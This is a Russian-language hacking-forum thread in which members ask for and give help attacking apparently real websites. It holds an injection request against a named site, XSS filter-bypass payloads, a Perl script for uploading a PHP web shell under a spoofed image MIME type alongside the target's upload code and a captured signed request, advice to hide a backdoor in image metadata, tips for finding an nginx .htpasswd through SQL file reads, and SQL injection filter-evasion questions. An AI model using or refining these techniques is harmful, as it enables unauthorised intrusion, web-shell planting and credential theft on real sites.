Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. c4n3k

    c4n3k New Member

    Joined:
    29 Oct 2018
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
  2. Octavian

    Octavian Member

    Joined:
    8 Jul 2015
    Messages:
    444
    Likes Received:
    80
    Reputations:
    20
    Скинь посмотрю
     
    matthhy likes this.
  3. man474019

    man474019 Member

    Joined:
    31 Jul 2015
    Messages:
    241
    Likes Received:
    65
    Reputations:
    1
    Hi friends
    Can u help me to exploit this injection ?

    POST /cabinet HTTP/1.1
    Content-Length: 31
    Content-Type: application/x-www-form-urlencoded
    Referer: https://ne.birkart.az/
    Cookie: PHPSESSID=81d5c3c11f885d5bbe968db124eb5453; uslk_e=ZDQ0NmYyZDAtYzQzZC0yOGQxLTQ1MzItMDRhZWI1YmI2NzUw~~~~~~~1~; uslk_s=Idle%3B0~~0~0~0~~; __cfduid=d9efd55b42b5016584f8a88876936dbaa1540880719; __cfduid=d9efd55b42b5016584f8a88876936dbaa1540880719
    Host: ne.birkart.az
    Connection: Keep-alive
    Accept-Encoding: gzip,deflate
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
    Accept: */*

    action=check&birthday=1[injection-here]&cif=1[injection-here]

    Thanks !
     
  4. matthhy

    matthhy New Member

    Joined:
    16 Feb 2017
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    Ребят, кто может помочь.
    Есть ссылка, нашел через NetSparker, она выдает ошибку. Можно ли эту ошибку как-то раскрутить.(адрес по типу https://site.su/fullnews-14
    [​IMG]
     
  5. Octavian

    Octavian Member

    Joined:
    8 Jul 2015
    Messages:
    444
    Likes Received:
    80
    Reputations:
    20
    Привет есть обходы для фильтра () " ?
    Code:
    <a href="javascript:alert1">XSS</a>
     
  6. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,786
    Likes Received:
    808
    Reputations:
    851
    onerror=alert;throw 1;

    This works on every browser apart from Firefox *, Safari and IE will just call the function with the argument but Chrome and Opera add uncaught to the argument. This is no big deal though since we can just modify it slightly and use a different object as an argument such as a string.


    onerror=eval;throw'=alert\x281\x29';
     
    _________________________
  7. Octavian

    Octavian Member

    Joined:
    8 Jul 2015
    Messages:
    444
    Likes Received:
    80
    Reputations:
    20
    Есть сайт на котором разрешено бронировать места, если я создам бота который забронирует все места вызвав финансовые потери, я нарушу закон?
     
  8. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,786
    Likes Received:
    808
    Reputations:
    851
    Вы что-нибудь слышали об упущенной выгоде?
     
    _________________________
    cat1vo likes this.
  9. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    135
    Likes Received:
    5
    Reputations:
    0
    Есть скрипт на perl c помощью которого я хочу залить на сайт веб шелл с подменой MIME-типа:

    Code:
    #!/usr/bin/perl
    #
    use LWP;
    use HTTP::Request::Common;
    $ua = $ua = LWP::UserAgent->new;;
       $res = $ua->request(POST 'Уязвимый Сайт',
            Content_Type => ' multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
    X-Unity-Version: 5.6.5f1',
            Content => [userfile => ["C:/jpeg.jpg.php", "jpeg.jpg.php", "Content-Type" =>"image/png", "iAuid" => "6cb4dbkgvato004v6i4vugq6q2","sSign" => "5msfdbv9gsct64cbo9e3hbc3p0", "content" => "" ],],);
    
    print $res->as_string();

    Но я не могу составить запрос таким образом, чтобы он принял файл. Постоянно натыкаюсь на ошибку 1000(что в скрипте значит - неправильно передан в параметре)
    В самом бурпе натыкаюсь уже на 1002 - (неверный тип файла)
    Подскажите, как правильно составить запрос на PERL, чтобы сайт принимал файл?

    Code:
    <?php
    
    include_once dirname(__FILE__) . '/configuration.php';
    include_once dirname(__FILE__) . '/includes/share/share.class.php';
    
    $oConfig = new JConfig();
    $Image = isset($_POST['content']) ? $_POST['content'] : null;
    if (is_null($Image)) {
        $Image = isset($_FILES['content']) ? $_FILES['content'] : null;
    }
    $Preview = isset($_POST['preview']) ? $_POST['preview'] : '';
    if (empty($Preview)) {
        $Preview = isset($_FILES['preview']) ? $_FILES['preview'] : '';
    }
    $iAuid = isset($_POST['auid']) ? intval($_POST['auid']) : intval($_GET['auid']);
    $sShareType = isset($_POST['shareType']) ? $_POST['shareType'] : '';
    $sSign = isset($_POST['sign']) ? $_POST['sign'] : $_GET['sign'];
    $sBaseUrl = 'http://' . $_SERVER['HTTP_HOST'] . '/';
    if ($Image && $iAuid && $sSign) {
        $sScriptUri = empty($_SERVER['SCRIPT_URI'])
            ? 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']
            : $_SERVER['SCRIPT_URI'];
        if (md5($iAuid . $sScriptUri) == $sSign) {
            $oSharer = new GameShare($iAuid, $Image, $Preview, $sShareType, $sSign);
            $oSharer->setConfig($oConfig);
            $sShareUrl = null;
            $iResult = $oSharer->doShare($sShareUrl);
            if ($iResult == 1) {
                print $sBaseUrl . $sShareUrl;
            } else {
                print $sBaseUrl . '?ec=' . $iResult;
            }
        } else {
            error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri);
            print $sBaseUrl . '?ec=1001'; //подпись не совпадает
        }
    } else {
        error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-'));
        print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры
    }
    
    Code:
    <?php
    
    include_once dirname(__FILE__).'/../mysql/mysql.class.php';
    
    class GameShare
    {
        private $auid;
        private $shareType;
        private $fileInfo;
        private $previewInfo;
        private $oConfig;
        private $sign;
        private $dbInfo = array();
        private $allowedMime = array(
            'image/png',
            'image/gif',
            'image/jpeg',
        );
    
        /**
         * @param $auid
         * @param $fileInfo
         * @param string $previewInfo
         * @param string $shareType
         * @param string $sign
         */
        public function __construct($auid, $fileInfo = null, $previewInfo = '', $shareType = '', $sign = '')
        {
            $this->auid = $auid;
            $this->fileInfo = $fileInfo;
            $this->previewInfo = $previewInfo;
            $this->shareType = $shareType;
            $this->sign = $sign;
        }
    
        /**
         * @param $sFolder
         */
        private function createFolder($sFolder)
        {
            if (!file_exists($sFolder)) {
                mkdir($sFolder, 0777);
            }
        }
    
        /**
         * @return null|string
         */
        private function createUserFolder()
        {
            if ($this->auid) {
                $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName;
                $this->createFolder($shareFolder);
                $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/';
                $this->createFolder($shareFolder10000);
                $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/';
                $this->createFolder($shareFolder1000);
                $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/';
                $this->createFolder($shareFolder100);
                $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/';
                $this->createFolder($shareFolder1);
                return $shareFolder1;
            }
    
            return null;
        }
    
        /**
         * @return string
         */
        public function getUserFolder()
        {
            return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000)
                . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/';
        }
    
        /**
         * @param $oConfig
         */
        public function setConfig($oConfig)
        {
            $this->oConfig = $oConfig;
            $this->dbInfo = array(
                'mysqlHost' => $this->oConfig->host,
                'mysqlUser' => $this->oConfig->user,
                'mysqlPassword' => $this->oConfig->password,
                'mysqlDB' => $this->oConfig->db,
            );
        }
    
        /**
         * @param $auid
         */
        public function setAuid($auid)
        {
            $this->auid = $auid;
        }
    
        /**
         * @param $sResult
         * @return int
         */
        public function doShare(& $sResult)
        {
            $sUserFolder = $this->createUserFolder();
            if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер
    
            $time = time();
    
            // Заливаем основную картинку
            $imageInfo = getimagesize($this->fileInfo['tmp_name']);
            if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
            if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
            $aExt = explode('/', $imageInfo['mime']);
            $fileName = $time . '.' . $aExt[1];
            $sDest = $sUserFolder . $fileName;
            move_uploaded_file($this->fileInfo['tmp_name'], $sDest);
    
            // Заливаем превью (если есть что)
            $previewFileName = '';
            if ($this->previewInfo) {
                $imageInfo = getimagesize($this->previewInfo['tmp_name']);
                if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
                if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
                $aExt = explode('/', $imageInfo['mime']);
                $previewFileName = $time . '-thumb.' . $aExt[1];
                $sDest = $sUserFolder . $previewFileName;
                move_uploaded_file($this->previewInfo['tmp_name'], $sDest);
            }
    
            // Сохраняем, формируем ответ, если ОК
            $iResult = $this->save($fileName, $previewFileName);
            if (!$iResult) return 1004;
            $sResult = '?share='.$iResult;
    
            return 1;
        }
    
        /**
         * @param $fileName
         * @param string $previewFileName
         * @return mixed
         */
        public function save($fileName, $previewFileName = '')
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES ('
                . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())');
    
            return $oSQL->insert_id;
        }
    
        /**
         * @param $id
         * @return mixed
         */
        public function get($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id));
    
            return $oResult->fetch_array();
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getPrev($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE id<' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['prev']);
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getNext($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['next']);
        }
    
        /**
         * @param $auid
         * @return mixed
         */
        public function checkUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid));
            $aRow = $oResult->fetch_assoc();
    
            return $aRow['iCnt'];
        }
    
        /**
         * @param $auid
         * @return array
         */
        public function getUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC');
            $aResult = array();
            while ($aRow = $oResult->fetch_assoc()) {
                $aResult[] = $aRow;
            }
    
            return $aResult;
        }
    }
    
     
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,444
    Likes Received:
    762
    Reputations:
    834
    Заливаете сам шел? попробуйте лить саму картинку и в ее метотегах прописать мини бэгдорчик, а там если прольется, с него уже и лейте шелл.
     
    _________________________
  11. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    135
    Likes Received:
    5
    Reputations:
    0
    По скрипту он сначала проверяет на соответствие программ.
    И говорит о том, что указаны неверные параметры, хотя все указано верно.
    После он уже проверяет на MIME

    Проблема с указанием параметров из-за незнания перла..да и бурпа.

    Пример из бурпа, он уже дает ошибку 1002 и совершенно непонятно, почему в скрипте пишет ошибку 1000(неверны переданы параметры), а через бурп 1002(некорректный MIME файл) хотя я загружаю чистую картинку, без примесей

    Code:
    POST /share.php HTTP/1.1
    Host: Сайт
    Connection: close
    User-Agent: UnityPlayer/5.6.5f1 (http://unity3d.com)
    Content-Type: multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
    Content-Length: 591093
    
    
    --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
    Content-Type: text/plain; charset="utf-8"
    Content-disposition: form-data; name="auid"
    
    343296
    --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
    Content-Type: text/plain; charset="utf-8"
    Content-disposition: form-data; name="sign"
    
    3ca4df16083f3d3ad33409014fdf43c4
    --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
    Content-Type: image/png
    Content-disposition: form-data; name="content"; filename="content"
    Картинка
    
     
    #2491 Muracha, 14 Nov 2018
    Last edited: 14 Nov 2018
  12. man474019

    man474019 Member

    Joined:
    31 Jul 2015
    Messages:
    241
    Likes Received:
    65
    Reputations:
    1
    Hi
    May be it helps you
    http://qaru.site/questions/6561990/...-missing-or-incorrect-when-creating-dns-zones
     
  13. man474019

    man474019 Member

    Joined:
    31 Jul 2015
    Messages:
    241
    Likes Received:
    65
    Reputations:
    1
    Hi friends
    Any suggest ?
    Thanks !
     
  14. etime

    etime New Member

    Joined:
    7 Nov 2018
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Всем привет. На сайте установлена HTTP Basic Authentication. У меня есть права на чтение файлов на сервере через sql. Как я понял на сервере Nginx отсутствует такой файл как .htaccess в нем обычно прописывают путь до .htpasswd, но так как такого файла нет, все настройки делаются как опять же я понял в nginx.conf. Этот файл конфигурации я скачал с сервера, но там нет пути до .htpasswd или чего то подобного.

    Вопрос, где искать этот самый путь до .htpasswd ?
    Какие есть еще файлы настроек у nginx чтобы можно было прочитать?
    Всего нашел два файла /etc/nginx/nginx.conf и /etc/nginx/mime.types ( и еще /etc/nginx/.htpasswd , но файл почему то пустой.)
     
  15. fandor9

    fandor9 Member

    Joined:
    16 Nov 2018
    Messages:
    25
    Likes Received:
    14
    Reputations:
    2
    В nginx.conf находится только общая конфирурация, конфа по сайтам инклюдится. Там где в nginx.conf стоит указание include, там и написано где лежат файлы с конфой по сайтам.
    В них соответственно может быть либо указание auth_basic_user_file с путём где заветный файл лежит либо дальнейшие include.
     
    etime and crlf like this.
  16. etime

    etime New Member

    Joined:
    7 Nov 2018
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Спасибо за ответ, в данном файле указаны 3 include:
    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
    include /etc/nginx/naxsi_core.rules

    Получается мне нужно искать в них, но какие названия там могут быть? site.com.conf ?
     
  17. fandor9

    fandor9 Member

    Joined:
    16 Nov 2018
    Messages:
    25
    Likes Received:
    14
    Reputations:
    2
    Ну во первых nginx этот работает как WAF, так как naxsi_core.rules это файл с общими правилами этой Naxsi.
    Во вторых названия в папке /etc/nginx/sites-enabled/ могут быть любыми, так как там инклюдятся все файлы в этой папке. Скорее всего что-то вроде site.com или com.site, так же стандартом идёт файл /etc/nginx/sites-enabled/default.
     
    crlf and etime like this.
  18. etime

    etime New Member

    Joined:
    7 Nov 2018
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    От души! Буду пробовать.
     
  19. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    405
    Likes Received:
    37
    Reputations:
    1
    Code:
    http://shops2.tehnomaks.ru/catalog/add_reweis?about=1&guid[]=058960&mail=sample%40email.tst&minus=1&plus=1&rate=
    Обычная ошибка или SQL injection ?
     
  20. ci0b2n1feec

    ci0b2n1feec New Member

    Joined:
    4 Oct 2018
    Messages:
    24
    Likes Received:
    0
    Reputations:
    0
    Вопрос на засыпку есть скуля
    Все select замещаются на select sql_no_cache - так что даже делать from select бесполезно
    database()
    version выводятся на ура
    Все select переводит в select sql_no_cache (select/**/,sELeCT/*,s/**/E/**/lect,) не прокатывает,что можно сделать?)
     
Loading...